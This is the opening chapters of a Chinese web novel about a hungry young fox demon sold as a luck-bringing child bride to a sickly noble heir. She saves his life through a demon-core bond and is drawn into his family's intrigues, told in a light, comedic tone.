《萌狐崽崽只想干饭,咋成全员团宠了》
第1章 冲喜
深夜。
一辆红色小轿入了萧家后门,一路抬至一处僻静的院落,抬轿的轿夫脚步轻快,踩过地上洒落的五谷铜钱,跨过火盆,将轿子落下。
喜娘快步迎上,掀开轿子,一个小人儿双目紧闭坐在轿中,双脚悬空,面容稚嫩,五官尚未长开但看得出长大后必是绝世美人,嫁衣是大人的尺寸套在五岁小孩身上明显不合身,松松垮垮拖到地上。
但冲喜本就不得张扬,更何况是给皇后娘家萧家长子萧瑾慕冲喜,更得做的隐秘些,只能先用成衣把过场走了。
这萧家长子据说先天不足,今年不过十岁,就成了药罐子,前几日不知得了什么急症,昏迷不醒,生机一日比一日弱,请了多少大夫都说药石无医,只能等死。
恰逢萧老夫人外出上香祈福,碰到一农家妇要卖女儿,详细询问后得知这农家妇家里还有两个儿子要养,实在是揭不开锅,不得已只能把女儿卖了买些粮食。
老夫人身边一个管事的略懂些玄黄俗事,便向老夫人提议买来给大公子冲喜,说不准沾了喜气,能让病情好转。
于是便有了这一场‘喜事’。
哪怕是在昏睡,只要看见轿中女孩儿的人都会不由自主地对她产生亲近之意,喜娘眼中闪过一丝不忍,但老夫人给的太多,干成这场,够她潇洒挥霍好几年。
眼不见为净,喜娘偏过头,将‘新娘子’抱下轿子,据说这女孩儿一直在昏睡,怎么叫都不会醒,买下的那天老夫人还怕是不是**不吉利,还是农妇再三保证女儿只是睡得太沉,自三日前便如此。
萧府跟来的府医查验后,也确认这女娃确在沉睡,身体康健得异乎寻常。
病急乱投医。老夫人一咬牙,十两银子买下了这个睡美人。
怀里的人儿过于轻了,喜娘抱着三步并作两步就走到了院落靠里面的房间。
仆从开了门,房间按新房布置过,榻上躺着一个人,正是昏迷不醒的萧瑾慕。
怕繁文缛节加重病情,喜娘只得匆匆将‘新娘子’放到萧瑾慕身旁,端起药碗给两人嘴里各喂了一口,就算是喝过交杯酒了。
又伸手探了探两人的鼻息,确认都还活着,便道:“礼成。”
说完长松一口气,总算是可以交差了。
……
倾倾是被苦醒的,还没睡够,脑袋晕晕的,只听见有人说了句“礼成”,然后就是门被关上的声音。
之后就是长久的安静,安静到困意再次袭来,倾倾闭着眼睛,感觉自己躺在软软的地方,好舒服,舒服到想翻个身继续睡。
咦?
感觉碰到了硬硬的东西,凉凉的,是石头吗?
下意识睁开眼睛,看到自己身旁躺着个人。
倾倾吓了一跳,属于幼狐的耳朵露了出来,狐耳轻轻抖了抖,小手下意识挠了挠床沿,不明白为什么自己明明只是睡了一觉,醒来却在这个人的床上。
观察片刻,确认床上的人没有动静,倾倾慢慢爬下床,踮着脚尖,想悄悄离开这里,却听到门口的谈话声。
“哥,你说大公子这次这能活过来吗?我刚才送药进去,瞅了一眼,那脸白的跟纸似的,气都快没了。”
“嘘!找死啊!敢议论主子!老夫人说了,这冲喜娘子是天定的贵人,能把灾星冲散。”
“贵人?我看是苦命人。那么小,才四五岁吧?就这么送进来,要是大公子真没了,她也得跟着陪葬。”
早在听到说话声的一瞬间倾倾就缩回床上,耳朵竖的老高,听到“陪葬”的时候狐耳唰地竖成尖三角。
老猫给她讲的画本子里说过,陪葬就是把两个死掉的人埋在一起。
倾倾不想死,也不想被埋在土里!
她回头看向萧瑾慕,小心翼翼地凑过去嗅了嗅,身上都是苦苦的药味,但是身体里面的味道好好闻,还有好重的死气,他真的快**!
倾倾小脸苦恼的皱起,她想逃走,但是打不过门口那两个人,可里面这个人也快**,该怎么办呢?
等等……救?
对了!画本子里说过,妖丹可以帮人续命!
妖丹,妖丹!倾倾闭上眼睛,集中注意力,一枚小小的莹白色珠子慢慢从心口的位置浮现。
然后该怎么做呢?画本子里没写了!
就在这时,妖丹感受到了一股吸引力,嗖的一下钻进萧瑾慕身体里消失不见。
倾倾顿时感觉自己和床上的人之间似乎多了一种联系,如果两个人其中一方**,另一方也会死!
怎么还是会死?
狐耳垂落,软塌塌贴在头顶,像被雨水打湿的蒲公英,满是无力的难过。
妖丹依依不舍地离开萧瑾慕,钻回倾倾体内。
原本只吊着一口气的萧瑾慕感觉一股生气注入体内,原本坏死的内脏被快速修复,即将停止跳动的心脏重新规律的跳了起来,血液流动,带动了毒素的排出,胃里一阵抽搐,呕意直冲咽喉。
“吐……快…接…呕……”
倾倾只看见床上的人抽动了几下,然后猛地坐起,嘴里说些什么她没听懂,但看那表情,她一瞬间福至心灵,赶快脱下身上宽大的嫁衣,随便叠吧叠吧对到嘴边。
声音软糯带着自信:“吐吧!”
动作流畅,眼神认真,俨然一副“我很靠谱”的小大人模样。
萧瑾慕“哇”地吐出一大口黑血
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,而后剧烈咳嗽起来,苍白的脸上竟泛起一丝极淡的血色。
他艰难地睁开眼,视线模糊中,看见一个长着狐耳的女娃,正举着沾血的嫁衣,眼睛亮晶晶地盯着他。
四目相对。
倾倾耳朵一抖,后知后觉地想起:糟糕,耳朵忘记收回去了!
“你……”萧瑾慕不知道自己昏睡了多久,声音带了久病的沙哑,嘴里还带着苦腥气,一开口被自己熏得皱了皱眉。
但是,体内是从未有过的轻松,那些经年累月的毒素竟吐出大半,他偏头靠在冰冷的床栏上,闭眼缓气时,四肢百骸都透着一股卸了枷锁的轻飘,像沉在水底许久,终于挣扎着探出头吸了口新鲜空气。
再睁开眼,萧瑾慕又带上那副阴郁厌世的神情,他看着缩在床脚,悄悄把耳朵收回去的倾倾,薄唇轻启,听不出温度:“你救了我,想要什么报答?”
他看了看房间的布置,已经能大概猜测出自己正在经历什么,虽然荒谬,但一想就是那些人会做的事,就是不知道这个小孩儿是被迫来的,还是某方势力送来的?
若是后者,萧瑾慕当然会好好‘报答’她。
“报答?提什么要求都可以吗?”倾倾摸了摸头,确定自己把耳朵收回去了。老猫说过,它们是妖,不可以在人类面前暴露身份,要是碰到坏人,就会把她剥皮抽筋!
但是,这个人身上的味道很好闻,老猫说过,它们妖天生可以闻到人身上的味道,好闻的就是好人,难闻的就是坏人,这是老天爷赐予妖族自保的手段。
倾倾虽然不知道自己为什么会在这里,但一定不是这个人做的!她又想起自己跟着老猫三天饿九顿,只能靠睡觉度日。
于是摸了摸自己饿的扁扁的小肚肚,在萧瑾慕默许的眼神中,鼓足勇气说道:“倾倾想每天吃好吃的。”
萧瑾慕愣了一下,似乎没想到这个答案:现在的妖怪,也会饿肚子吗?
但他还是点了点头,“可以,桌上有些吃的,你先垫垫肚子,你有什么爱吃的,等我的侍卫回来可以告诉他给你买。”
说曹操曹操到,萧瑾慕的贴身侍卫荣青裹着满身的血腥气,打晕门口的两个仆从,敲开房门走进来似乎着急禀报,却看到床上坐着一个小女孩,地上堆着一件宽大的嫁衣,再看了看满屋的红色,话语被惊地卡在喉咙里。
他不过出去了三天,回来主子就成家了?可主子不是才十岁吗?
萧瑾慕显然没打算解释,问道:“事情办的怎么样了?”
“禀公子,您假装病重这几天,确实揪出了几只老鼠,都已经审问过了,线索,似乎跟京里那位有关。”
第2章 贪吃的倾倾
说完,荣青从怀里掏出一本册子,以及一个木盒子,却未立即呈上,而是警惕地瞥了一眼正眼巴巴盯着盒子的倾倾,低声道:
“公子,审讯结果都在这儿了,几人死前皆吐露是受了六皇子府的指使,但他们也不知缘由,只奉命取您性命。”荣青声音压得更低,“还有,木盒子里是江大夫让带的解药。”
萧瑾慕眸光一冷,嘴角却弯起讥诮的弧度。六皇子?他一个深居简出的病弱之人,何时竟值得皇子亲自动手?
他翻开册子,余光却扫见倾倾已悄悄蹭到桌边打开了木盒子,小鼻子一动一动,正盯着里面的药丸。
“这是药,不能吃。”他话音未落,那小狐妖已眼疾手快,舌尖一卷,药丸就入了口。
接着便是“嗷呜~”一声哀鸣,苦得她原地打转,眼泪汪汪。
萧瑾慕怔了怔,连日的阴霾奇异地消融了些许,低笑出声。
荣青目瞪口呆。
没想到未来女主子是这样子的?!
“罢了。”萧瑾慕合上册子,“明日买些甜食来,另外查查六皇子近日动向,尤其是与萧府有关的。门口的人处理一下。”
“是。”
荣青应下,关上房门顺便把门口晕死的两个仆从丢到柴房。
于是房里只剩下萧瑾慕和倾倾。
萧瑾慕掀开被子,尝试将双脚踩在地上,他还没有走过路,一直是轮椅代步,此刻脚掌碰到地面的感觉新奇,更多的是不适应,他看向正往嘴里塞蜜饯压苦味的倾倾,语气不自觉地缓了缓:“过来。”
倾倾抱着蜜饯罐子,挪了过去。
“扶着我。”
倾倾乖乖伸出手,搭在他冰凉的手腕上,心里却嘀咕:这个人类好弱呀,走路都要扶。
萧瑾慕借着她的支撑,缓缓站直。起初几步踉跄。但他学得极快,不过走了半圈,就已经能稳住身形;再一圈,便松开了她的手。
他独自在屋里走了几步,又几步。脚步从虚浮到沉稳,脊背一点点挺直。
然后,他停下,低头看着自己稳稳踩在地上的双脚,忽然低低笑出声,越笑越响。
“哈哈……好了,真的好了!”
当了十年的病鬼,竟然这么机缘巧合得了救,萧瑾慕这十年从来没有这么开心过。经年累月议论的目光,旁人的小心翼翼,潮水般的恶意还是让他早早把自己封闭起来。
现在,厚重的盔甲被打开一丝裂缝,而这一切,都是因为这个正坐在桌边胡吃海塞的小狐妖。
萧瑾慕心情好极了,又原地转了几圈,才依依不舍地坐到倾倾旁边,嘴角的笑意甚至还没收回去,“你叫什么名字?”
倾倾抬起头,大大的眼睛闪着疑惑地光,嘴里还塞着糕点,“唔唔”两声,又低头“簌簌”地舔掉衣襟上的酥渣,语气含糊不清:“唔叫倾倾。”
“倾倾。”萧瑾慕重复了一遍,话语中多了郑重:“你是我的救命恩人。”
他语气重带上蛊惑,开始循循善诱:“但是,现在只有你知道我病好的事,我们算有了共同的秘密,是也不是?”
倾倾下意识点了点头,眼神单纯。
“那么,我们就算是绑在一条船上了,如果我死,你也会死。是也不是?”
什么船?倾倾还没听过这么复杂的话,但是后半句听懂了,她用力点了点头,签了同心契,他们现在确实是同生共死的关系,她不想死。
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萧瑾慕对倾倾的态度很满意,把手边的红枣糕又往倾倾那边推了推,“多吃点,对了,倾倾,你是怎么来到萧府的?”
于此同时,数十里外的村庄里。
一只毛发锃亮的大橘猫正在一处村庄间窜来窜去,突然,它停在一户农家门口,鼻尖耸动。
这里有小狐的气味!
老猫趁着夜色跳到院子里,寻着小狐的气味走到一间正房门口停下,猫耳微动,房间里的谈话声就听得一清二楚。
“真卖了这么多钱?!哈哈哈哈,发财了。”是一个中年男人的声音。
接着想起中年女人的说话声,“当然了,还好我留了个心眼,先在方隐寺山脚下试试能不能碰到贵人卖个好价钱,还真碰到一个老夫人,一出手就是十两银子,要是卖去红纺阁,以那老妈妈的抠门性子,估计只能得三两银子。”
“一出手就是十两?怎么不多要些?”
“听管事说是买回去冲喜,我看那老夫人有些犹豫,怕要价太高就不要了,毕竟人是咱们白捡的,卖不出去岂不是要砸在手里。”
“也是,我明日再去山上看看,若能多捡几个,就发大财了!”
“哼!”中年夫妇只听窗外传来一声冷哼,下一秒感觉头晕,接着只听砰砰两声,俱是脸朝下晕死在了木桌子上。
老猫穿门而过,看了这两个可恶的家伙一眼,猫爪在空中画了个字符,两人身上值钱的东西就自己乖乖飘了出来,落在老猫面前。
仍不解气,它看向隔壁酣睡的两个半大男孩,金瞳幽光一闪。“**咒,便宜你们了。”
然后老猫才收起地上的东西,寻着小狐的气味向萧府而去。
第3章 倾倾要跟你做家人
倾倾摇了摇脑袋,大大的眼睛扑闪扑闪,嘴里塞着两颗蜜饯,像只小松鼠,“窝不自大,窝饿得碎渣了,醒了就在啧。”
“好吧。”萧瑾慕确定从倾倾这里听不到什么有用的消息了,于是不再打扰她吃东西。
就在这时,窗外忽然传来极轻的叩击声,三轻三重交替叩击。
荣青已退,此刻来的只能是……
萧瑾慕微顿,对着倾倾做了个噤声的手势,随即推动轮椅移至窗边,开了一条缝隙。
夜风卷入一张薄纸条,上面只有一行小字:
【六皇子三日前密会萧二爷,内容未悉。另,冲喜事恐非偶然。】
落款是一枚青锋印记。
青锋也是萧瑾慕的侍卫,只不过平时主要负责在暗处打探消息。
萧瑾慕看过后便将纸条在烛火上点燃,火光映在他的眼眸中。二叔,竟也牵扯其中吗?
他看向正瘫在椅子上打饱嗝的倾倾,故作平静道:“如此说来,你现在算我的夫人。”
“嗝?”
萧瑾慕也觉得这很离谱,本想借这次装病揪出幕后黑手的线索,没想到老夫人病急乱投医,干出这种糊涂事。
“你家在哪里?你愿意的话,我可以送你回家。”
这句话触及了倾倾的盲区,“家?”
家是什么?哪怕老猫的画本子里也说过里面的小人有自己的家,可是倾倾从来没有对家的概念,她似乎从一开始就生活在那片山林里,后来认识老猫,有老猫罩着,再也不会被山里其他妖怪欺负。
她问过老猫,老猫跟她算是家人吗?
老猫摇了摇猫脑袋,说不是,它俩顶多算狐朋猫友,或者它是猫老大,倾倾是狐小妹。
那么她睡觉的那处洞穴算家吗?
那么硬,那么潮湿,夜晚那么冷,睡觉一点都不舒服。
倾倾摇了摇脑袋,她不想那样的地方当家。
又想起刚在躺的地方,好软,好舒服,好温暖,虽然旁边躺着一个硬硬的人类,可这个人类是好人,给倾倾吃好吃的,倾倾喜欢他!
于是,倾倾迈着小短腿跑到床边,一整个扑到床上,把脸埋到温暖的被子里,上面还有这个人类好闻的味道,是倾倾闻过的最好闻的味道,喜欢!
倾倾说道:“倾倾的家就在这里。”右手拍了拍床,又抬起小脑袋,双眼亮晶晶的看着萧瑾慕,饱含期待,声音软糯带着请求:“倾倾喜欢你(身上的味道),倾倾想跟你做家人!”
好直白!好大的胆子!
从来没有人,也没有妖敢这么对萧瑾慕说这样的话,多是察言观色,小心翼翼,生怕惊扰他。
客套又委婉。
萧瑾慕静**在那,披散的墨发遮住了他的神情。
半晌,倾倾听到他说:
“倾倾,你的胆子很大。”
胆子大?大吗?倾倾只是做了自己想做的,说了自己想说的,这也算胆子大吗?
幼狐倾倾还不能完全理解这句话的意思。
萧瑾慕走到床边,居高临下的看着她,轻声道:“我叫萧瑾慕,从今天起,你就留在我身边吧。”
翌日清晨。
侍卫荣青单手提着昨晚被打晕的那两个仆从,另一只手提着一堆甜口的点心小吃准时敲响房门。
“进。”
是萧瑾慕的声音,属于少年的清冽。
荣青踢醒两个仆从,训斥道:“起来!府里养你们是吃干饭的?敢在这偷懒,活腻了?大少爷醒了!还不去禀报夫人?”
两个仆从被一通训斥,顾不得颈后的疼痛,连声应是,跌跌撞撞互相搀扶着禀报夫人去了。
确认周围再没有盯梢的,荣青这才轻轻推开房门,同时深呼吸告诫自己待会不该看的不看,决不能情绪外露。
“少爷,您吩咐的都买了。”
萧瑾慕坐在轮椅里,墨发还是披散着,身形清瘦,衣料松松垮垮挂在身上,还是那副病秧子模样。
他点了点头,示意荣青把东西放到桌上,吩咐道:“找两个机灵点的丫鬟过来伺候……”顿了一下,不知道该怎么定义倾倾现在的身份,干脆先略过,接着说道:“把院子里的小厨房收拾出来,再找个手艺好的厨娘
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来。”
“还有,去查查老夫人那日去方隐寺上香,是临时起意还是有人建议以及我二叔近半月所有账目往来。”
“您怀疑二爷……”
“速去。”
荣青刚退,倾倾就抱着枕头蹭到床边,小声问:“你在装病吗?”
“嗯。”萧瑾慕侧头看她,“跟着我会很危险。”
“我不怕。”倾倾摇头,耳朵又痒痒得想冒出来:“倾倾帮你!我可以闻出谁在说谎!”
萧瑾慕一愣,嘴角弯了弯。
——
萧府正院。
国舅夫人鲁氏正由丫鬟伺候洗漱更衣,贴身嬷嬷静候在一旁。
“好了?”
严嬷嬷:“福大,福二刚来传的消息,真是醒了,还能坐起身,许是……冲喜真的冲开了。”
鲁氏漫不经心地挑选今日佩戴的簪子,闻言淡淡“哦”了一声,声音温软如常:“醒了?倒是好事,我儿果然是有福之人,老夫人悬了那么久的心,总算能放一放了。”
“娘亲。”嫡次子萧熠身后跟了四五个小厮,手里捧着把玩的弹弓,大摇大摆闯了进来。
满院的丫鬟仆从无人敢阻拦,俱都躬身问好:“二公子安。”
萧熠眼都不抬,抬抬手挥散小厮,就往里间走去。
鲁氏正端着茶盏,见他闯进来,眉峰微蹙,却没呵斥,只淡淡道:“熠儿?怎么来了也不让人通报,冒冒失失的。”
萧熠大大咧咧往主位旁的太师椅上一坐,腿直接翘在脚踏上,语气骄纵:“通报什么?娘亲院子里,还需那些虚礼,又不是大哥那样的病秧子,还要让人抬着进来。”
“熠儿!莫要乱说话,下人刚来报你大哥身体有了好转,待会若无事,便和娘亲一起去看看你大哥。”
萧熠听见这话当场就炸了,不可置信:“什么?昨日不是说只剩一口气吊着,怎么还能活到今日?!”
鲁氏放下茶盏,手沿着杯沿缓缓划过,语气轻柔如常:“熠儿,既然是你大哥的冲喜娘子,便也算你半个嫂子。等见了,可要好、好、招、呼。”
第4章 倾倾生气了!
倾倾从来没有睡的这么舒服过,浑身暖融融的。原本用光的妖力,竟像被喂饱了似的,顺着经脉一点一点往上冒,化作无数光点钻进妖丹里,原本莹白的妖丹多了一丝金光,虽然比头发丝粗不了多少。
“荣大人让咱们来伺候少夫人,可是少夫人好像睡的很熟,怎么办,要叫醒她吗?少夫人睡觉的样子好可爱呀,我舍不得叫醒她。”
“不必。”
阳光透过窗户照了进来,睡饱的倾倾终于睁开眼睛,然后瞳孔瞬间放大。
怎么有两个人站在床边?
是两个十六七岁的少女,一个梳着双丫髻,一个梳着垂鬟分肖髻。
双丫髻少女见倾倾醒了,笑着露出两颗小小的虎牙,凑过来跟她打招呼:“少夫人,您醒啦?我们是大少爷派来伺候您的丫鬟,我叫粉白。”
“粉绿。”垂鬟分肖髻少女言简意赅。
大少爷?是谁?
倾倾面露茫然,到今天为止,她只认识萧瑾慕和老猫,现在认识粉白和粉绿,“谁是大少爷?”
“就是昨晚跟您住一个屋子里的那位呀。”粉白像只蹦跳的小雀,不明白倾倾为什么这么问。
倾倾明白了,她纠正道:“是萧瑾慕,他叫萧瑾慕,昨晚我们没住一个屋子,他去另一个房间了。”
她眼睛瞪得圆圆的,却没有半分凶气,反倒透着认真,刚睡醒脸上还带着红晕。
粉白捂住胸口,原地蹦跳:“少夫人说得对!是奴婢说错了!少夫人太可爱了,奴婢心都要化了。”
粉绿站在一旁,虽然没说话,但也眼尾弯起,轻轻抿唇笑了。
倾倾被夸得不好意思,无措的挠了挠脑袋,算是彻底睡醒了,此刻她才真正感受到妖丹传来了从未有过的满足感,还有体内满满的妖力。
她歪着头,想起昨晚第一次吃的饱饱的,第一次睡得安安稳稳,没有被风吹,没有被饿醒,忽然眼前一亮:
“原来吃饱饱,睡香香,就能变厉害呀!”
仿佛发现了新大陆,倾倾一个鲤鱼打滚从床上蹦起,感受着从来没有过的充实感,迫不及待想到老猫面前炫耀炫耀。
“少夫人,您饿不饿,奴婢伺候您洗漱更衣,荣侍卫早上买了些吃食放桌上了,您洗漱好就可以吃了。”
听到又有好吃的,倾倾才感觉自己的肚子空空,昨晚吃的已经被吸收的一干二净,肚肚也配合地发出咕——噜的长音,表示要狠狠大吃一顿。
粉白和粉绿显然也听到了,忍着笑给倾倾洗漱换了衣服,然后赶紧把已经饿扁的倾倾带到桌边。
好香,好香!闻起来好像比昨天的还要好吃。
倾倾被勾引的口水直流,迫不及待就要开动。
就在这时,一堆人浩浩荡荡的走进这处偏僻的院落,为首的正是鲁氏和萧熠,福大和福二殷勤的在前面带路。
粉绿显然认识来者的身份,眼神冷了下去,常年练武的手下意识摸向身侧放刀的位置,却只摸到柔软的布料。
“夫人,二少爷,是来看望大少爷的吗?真是不凑巧,大少爷刚去了老夫人那请安,估计还要好一会才回来,不如二位先回去歇着?”是粉白说的,礼数周全,语气轻柔,挑不出错处。
鲁氏抬起眼皮打量了一下粉白,她的大儿子院落里从来没有女人,怎么突然多了两个丫鬟?
疑惑在看到埋首干饭的倾倾时得到解释。
“怎么看见人也不知道行礼,到底是农家女,就是上不得台面。”鲁氏那张保养得宜的脸上扬起一贯温和的笑,说出的话却丝毫不客气。
萧熠随之看向正在吃饭的倾倾,大步走了进去,明明不过八岁,目光却熟练又肆无忌惮的在倾倾身上打转,带着轻佻与敌意,痞笑道:“长的倒是有几分姿色,就是太小了点,懂不懂伺候人啊?”
屋子里的人脸色一下就变了。
倾倾慢慢咽下嘴里的食物,看向这个不礼貌的哥哥。
好臭,他身上的味道好难闻,像老猫的臭脚。
这个人站在这里,感觉好吃的东西都变得不好吃了捏。
“哥哥,你可以出去吗?打扰倾倾
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吃饭了,倾倾还没有吃饱呢。”这么想着,倾倾就这么说了出来,声音软软的,还客气的叫人家哥哥。
萧熠正倚在桌边,自认风流倜傥,闻言猛地直起身子,嗓门瞬间拔高:“你说什么?!”
他指着自己的鼻子,气的脸都红了,“我是二少爷!这萧家是我家!你一个野丫头,居然敢赶我?”
“倾倾不喜欢你进我家,出去。”倾倾瞪着水灵灵的大眼睛,小脸紧绷,她有力量了,打得过这个讨厌的人,根本没在怕的。
萧熠气坏了,原地跳脚,叫嚣道:“这是我家,不是你家!你等着,我让我娘打死你!”
倾倾也生气了,这里是她的地盘,这个人真是太讨厌了!
倾倾要收拾他!
一股常人看不见的妖力缓缓包裹住倾倾的两只小手,她站起身,冲萧熠走去。
萧熠压根没想到这个小豆丁会想打他,还在叫嚣:“有本事你来打我呀!小畜生!我就算让你一只手你都打不过我吧?”
“不需要。”
倾倾捏着小拳头,气鼓鼓的走到萧熠身边,悄悄蓄力,然后猛地挥出去。
砰!
肉体与地面亲密接触,发出一声巨响。
在场所有人都震惊了,场面一时间安静下来,连鲁氏都惊到忘记自己要说什么。
倾倾一拳将萧熠狠狠砸到院子里,然后长呼一口气,扭了扭小拳头,说道:“粉**姐,倾倾想再洗一遍手,他好臭。”
“好大的胆子,敢公然殴打二少爷,来人,把她给我抓起来,杖毙!”鲁氏回过神来,脸色骤沉,声音阴沉如水。
家丁们顿时围了上去。
粉绿迎了上去,正准备动手。
“慢着。”
荣青推着萧瑾慕进来。他脸色比昨天又好上些许,脊背挺直,虽然坐在轮椅上,却带着一股不容让人忽视的威压。
鲁氏回过头看向自己这个大儿子,脸色一沉,却没有立刻发作,只沉声道:“萧瑾慕,你就这么纵容她欺负你的亲弟弟吗,熠儿还晕在地上呢!”
第5章 护妻
萧瑾慕目光平静的扫过鲁氏和晕倒在地上的萧熠,声音冷而稳:“母亲,祖母既允了她留在我身边,便是我的人。我的人,我自然会管。”
“萧瑾慕,你弟弟这委屈可不能白受,母亲作为长辈,理应替你管教手底下的人,该知道什么该做,什么不该做。”
鲁氏又恢复平淡的面孔,将事情定性为管教下人,企图用当家主母的身份施压。
“倾倾不是下人,是祖母许给我的,您若执意要动手,那我只能去找祖母说情了。”
鲁氏脸色变换莫测,还想说点什么,刚要开口,萧瑾慕又淡淡补了一句,“她若伤了,我这病,怕是好不了了。母亲是想留着她,让我安心养病,还是想看着我再躺回榻上?”
这话一出,鲁氏脸色彻底沉了下去,却终究不敢赌,冷哼一声:“罢了!既然你护着她,我便饶她这一次!但她若再敢没规矩,我决不轻饶!”
说完便让人把还在昏迷的萧熠抬起来,临走前才像是想起什么,挥了挥手,随行的丫鬟端着托盘走上前,鲁氏说道:“听下人说你好些了,我特意挑了些药材给你补补,杏儿,把东西送进去。”
杏儿快步走进去,把东西放下就赶忙退出去,生怕自己会挨打。
倾倾刚重新洗完手,好奇的看向托盘里的东西,凑过去闻了闻,双眼放光。
待鲁氏一行人离开,倾倾悄悄看了看萧瑾慕的脸色,像是后知后觉自己做错了事,鹌鹑一样缩在椅子上,哪还有刚才的嚣张模样。
萧瑾慕将她的小表情尽收眼底,面上不显,冷着一张脸走了过去。
荣青极有眼力见的带着粉**绿退了出去,还贴心的把门关上。
倾倾不敢直视萧瑾慕,只敢偷偷瞟,瞟托盘里的东西时亮,瞟萧瑾慕时怯。
萧瑾慕觉得有趣。
想逗逗她。
于是用银簪挑起一片参片,悬在她眼前晃了晃,逗她:“园参,补身子的。想吃?”
倾倾嗫嚅道:“想。”大眼睛水汪汪的,看向萧瑾慕时泛着光。
萧瑾慕眼底的兴味更浓,却依旧面无表情,把参片往她嘴边送了送,又在她要咬到时轻轻收回:“就是…苦得很,你应该吃不惯。”
倾倾不信,她闻着这参香的很,是好吃的香,这么香怎么会苦,长的也不像昨天吃的苦药丸呀,萧瑾慕护食!
“我,我不怕,我吃得惯。”倾倾急的踮脚,凑过去一口咬住。
刚嚼两下,小脸瞬间皱成包子,眼睛里蒙上一股水汽,声音都打颤:“苦…好苦,略…倾倾不要吃了。”
赶忙张开嘴,抬着粉嫩的小舌头把参片送出来,吐到盘子里。
萧瑾慕看向盘子里的参片,上面还带着几个牙印。
“好苦呀,倾倾想吃甜甜的蜜饯。”
早上买来的吃食早就被她吃的差不多了,剩下的没那么甜,倾倾站到萧瑾慕面前,皱着眉可怜巴巴的看他。
无师自通撒娇**。
只听萧瑾慕轻笑一声,变戏法似的从怀里掏出一包蜜饯。是从祖母那里拿的,平时他去请安看都不看这些东西,今天鬼使神差地拿了几颗,现在果然派上用场了。
“想吃吗?”他拿起一颗,放到倾倾鼻子边给她闻闻。
倾倾疯狂点头,小鸡啄米一样。
真是蜜饯,这个肯定不苦。
萧瑾慕状似随意的说道:“想吃可以,但倾倾要回答我一个问题。”
“回来的路上,我感觉身体更好了,往日清晨总是会头疼,今天却没有,而且,身体里好像多了一股暖流。”
他瞥向倾倾,接着道:“倾倾知道是为什么吗?”
倾倾犹豫了一下,下意识摸向自己狐耳的位置,现在被柔顺的头发所覆盖。于是又纠结起来,她以为萧瑾慕还不知道她其实是一只小狐妖,生怕自己坦白以后会受到伤害。
萧瑾慕留意着她这些细微的动作,看她一脸纠结犹豫,又添上一句:“我昨晚,看到你的耳朵了,是狐狸耳朵,倾倾,是狐妖?”
什么?!他都知道了?倾倾眼睛瞬间瞪的溜圆,整个人像被定住。
尾巴从裙摆下嗖地冒出来,鸡毛掸子一样洁白蓬松,尾尖微红蹦得紧紧,连呼吸都忘了。
她小手攥着衣角,声音细弱,怯怯道:“倾倾的**很粗糙,剥下来也做不了衣裳,肉可难吃了,是苦的,酸的,一点儿都不好吃,不要把倾倾剥皮抽筋好不好?”
见萧瑾慕脸色冷清,没说话,她更慌了,使出**锏,“而且,倾倾昨晚用妖丹救了你,跟你签了同心契,要是倾倾**,你也会死的。”
萧瑾慕终于露出意外的神色,没想到居然是跟这小狐妖签订了契约,而且是同心契。
怪不得。
“那今早的暖意是什么?”
倾倾思考了一下,不确定道:“倾倾昨天吃的饱饱的,睡的也很好,今天睡醒就发现妖力回满了,甚至比之前更多,可能因为契约的原因,你也共享到了吧?”
“那看来,我还占了你的便宜。”萧瑾慕点了点头,困扰他多年的病痛居然被这小狐妖一个契约解决了。
生死绑定,却换来了健康。这交易,似乎不亏。
但吃吃喝喝就能变强,简直闻所未闻,难道这小狐妖还有别的秘密?
萧瑾慕看着倾倾一脸单纯,目光清澈,可怜兮兮的看着他,似乎怕自己将她赶走。
看样子,她自己也不知道。<
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br>但没关系,该知道的时候总会知道的。
“吃吧。”萧瑾慕将蜜饯递过去。
却没想到倾倾直接一口含住,连同萧瑾慕的指尖一起,蜜饯的甜混着指尖的凉。
倾倾满足的眯起眼睛。
好甜,好喜欢吃。
萧瑾慕愣住,却没拿出帕子擦手,而是等倾倾吃完一颗便又拿起一颗,就这么用手喂她。
他有些喜欢这种投喂的感觉。
“我们两个的命算是绑在一起了,我不会赶你走,你就把这里当成自己的家,以后可能还会遇到今天这样的事,但我总会帮你的。”语气不自觉地温柔起来。
倾倾嘴里含着蜜饯,嘴角不自觉地往上翘。
听到以后还会遇到这样的事时小眉头轻轻皱起,听到萧瑾慕会帮她时又舒展开,笑容更甜了些:“倾倾也会努力变强,保护你的。”
萧瑾慕笑了一声,不置可否。
萧府后门。
老猫正寻着气味打转,突然响起一个年轻男人的声音:
“咦?好肥的猫。”
老猫龇牙,凶狠地回头,想看看是哪个嫌命长的家伙。
一个仙风道骨的出尘男子站在老猫身后,见老猫回头看他,不知从哪变出根逗猫棒一样的东西,嘴里“嘬嘬嘬”地逗老猫。
老猫发出凶狠的呜咽声,伸出尖利的猫爪朝男子抓去。
却在即将靠近男子时被那根逗猫棒吸引,本能驱使下扑到逗猫棒上,玩的不亦乐乎。
浮阳化身猫奴,老道地逗起猫来,看着老猫扭动着肥胖的身躯灵活地追着逗猫棒跑露出一脸慈爱的表情。
直到半个时辰后才一拍脑袋,懊恼道:“差点忘了正事,爱徒,师父来救你了!”
说罢准备穿门而入去救人,刚一动脚就被一双肥胖的猫爪扒住。
他低下头,看着老猫瞪着圆圆的猫眼,喵喵喵的叫,简直被萌化了。
“罢了,遇到就是有缘,带上你也无妨。”于是提溜起老猫化作一缕风钻入萧府。
傍晚时分。
萧老夫人身边那位管事来到院子里,说是老夫人明天早上想见见倾倾,让萧瑾慕带着倾倾一起去请安。
来的管事恰好是向老夫人提议冲喜那位,他其实是黄鼠狼成精,凭借谄媚的功夫混到老夫人身前,成了这府里职权颇高的管事头子。
见倾倾不仅完好无事,甚至实力有所精进,眼里闪过惊讶。
他本打算等大少爷**,这狐妖**陪葬后偷偷去挖她的妖丹修炼。
没想到她不但没死,还成功留在了大少爷身边。
无妨,只要她还在萧府,就还有下手的机会,来日方长。
黄管事面上恭敬,掩住眼里贪婪的光。
第6章 倾倾的秘密
黄管事前脚刚走,浮阳后脚拎着老猫出现在院落里。
浮阳仔细感受了一下黄鼠狼留下的微弱妖气,指尖轻轻一捻,而后又将妖气弹开:
“原来是只小黄鼠狼精,等本尊救下爱徒再来收拾你。”
说罢大摇大摆推开门,却一瞬间僵住,满眼不可置信!
“爱徒,你在干什么?!”
萧瑾慕坐在轮椅上,手里端着一碗厨娘刚做好的新鲜鸡汤,而倾倾坐在椅子上,乖巧地张着小嘴等着萧瑾慕投喂。
听见浮阳的质问,两个人同时扭过头看他。
一个疑惑,一个平静。
